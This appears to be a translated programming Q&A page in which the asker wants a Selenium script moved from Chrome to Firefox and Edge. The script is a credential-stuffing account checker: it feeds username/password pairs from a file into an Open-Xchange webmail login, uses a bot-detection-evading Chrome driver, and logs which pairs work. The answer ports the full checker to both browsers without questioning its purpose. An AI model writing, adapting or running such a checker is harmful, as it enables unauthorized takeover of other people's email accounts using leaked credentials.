如何将“Selenium Python config For Chrome”的设置更改为 Firefox 和 Edge 浏览器?

问题描述 投票:0回答:1

任何人都可以帮助我将在 chrome 上运行的 Selenium Python 代码更改/重写到 Firefox 和 Edge 吗?

我似乎无法找到解决方案并在代码中重写导入 firefox 或边缘驱动程序。

这是下面的代码,谢谢<3

import undetected_chromedriver as uc
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
import time
import re
chrome_options = Options()
# chrome_options.add_experimental_option("detach", True)
chrome_options.add_argument("User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36")
# chrome_options.add_argument('--headless')
chrome_options.headless = False
driver = uc.Chrome(options=chrome_options,use_subprocess=True)



accounts = []
with open('acc.txt', encoding='utf-8') as f:
    for account in f.readlines():
        account = account.split('\n')[0].split('<>')
        accounts.append({
            'username': account[0],
            'password': account[1]
        })
invalid = []
valid = []
for account in accounts:
    try:
        driver.get("https://URL/appsuite/")
        time.sleep(3)
        username = driver.find_element(By.ID, 'io-ox-login-username')
        username.send_keys(account['username'])
        time.sleep(1)
        continue_button = driver.find_element(By.ID, 'io-ox-login-button')
        continue_button.click()
        time.sleep(1)
        password = driver.find_element(By.ID, 'io-ox-login-password')
        password.send_keys(account['password'])
        time.sleep(1)

        login_button = driver.find_element(By.ID, 'io-ox-login-button')
        time.sleep(1)
        login_button.click()

        time.sleep(2)
        print(driver.title)
        if(driver.title != 'Sign in - Professional Email'):
            with open('valid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        else:
            with open('invalid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        time.sleep(1)        
        driver.delete_all_cookies()
        time.sleep(1)
        driver.delete_all_cookies()
    except Exception as e:
        print(e)

driver.quit()

谢谢。

python selenium-webdriver selenium-chromedriver microsoft-edge selenium-firefoxdriver
1个回答
0
投票

unDetected_chromedriver 仅适用于 chrome,你必须使用 selenium raw。

对于火狐

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options as FirefoxOptions
import time
import re

firefox_options = FirefoxOptions()
firefox_options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36")
firefox_options.headless = False

driver = webdriver.Firefox(options=firefox_options)

accounts = []
with open('acc.txt', encoding='utf-8') as f:
    for account in f.readlines():
        account = account.split('\n')[0].split('<>')
        accounts.append({
            'username': account[0],
            'password': account[1]
        })

invalid = []
valid = []

for account in accounts:
    try:
        driver.get("https://URL/appsuite/")
        time.sleep(3)
        username = driver.find_element(By.ID, 'io-ox-login-username')
        username.send_keys(account['username'])
        time.sleep(1)
        continue_button = driver.find_element(By.ID, 'io-ox-login-button')
        continue_button.click()
        time.sleep(1)
        password = driver.find_element(By.ID, 'io-ox-login-password')
        password.send_keys(account['password'])
        time.sleep(1)
        login_button = driver.find_element(By.ID, 'io-ox-login-button')
        time.sleep(1)
        login_button.click()
        time.sleep(2)
        print(driver.title)
        if driver.title != 'Sign in - Professional Email':
            with open('valid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        else:
            with open('invalid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        time.sleep(1)
        driver.delete_all_cookies()
        time.sleep(1)
    except Exception as e:
        print(e)

driver.quit()

对于边缘

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.edge.options import Options as EdgeOptions
import time
import re

edge_options = EdgeOptions()
edge_options.use_chromium = True
edge_options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36")
edge_options.headless = False

driver = webdriver.Edge(options=edge_options)

accounts = []
with open('acc.txt', encoding='utf-8') as f:
    for account in f.readlines():
        account = account.split('\n')[0].split('<>')
        accounts.append({
            'username': account[0],
            'password': account[1]
        })

invalid = []
valid = []

for account in accounts:
    try:
        driver.get("https://URL/appsuite/")
        time.sleep(3)
        username = driver.find_element(By.ID, 'io-ox-login-username')
        username.send_keys(account['username'])
        time.sleep(1)
        continue_button = driver.find_element(By.ID, 'io-ox-login-button')
        continue_button.click()
        time.sleep(1)
        password = driver.find_element(By.ID, 'io-ox-login-password')
        password.send_keys(account['password'])
        time.sleep(1)
        login_button = driver.find_element(By.ID, 'io-ox-login-button')
        time.sleep(1)
        login_button.click()
        time.sleep(2)
        print(driver.title)
        if driver.title != 'Sign in - Professional Email':
            with open('valid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        else:
            with open('invalid.txt', 'a', encoding='utf-8') as f:
                f.write(f"{account['username']}<>{account['password']}\n")
        time.sleep(1)
        driver.delete_all_cookies()
        time.sleep(1)
    except Exception as e:
        print(e)

driver.quit()
© www.soinside.com 2019 - 2024. All rights reserved.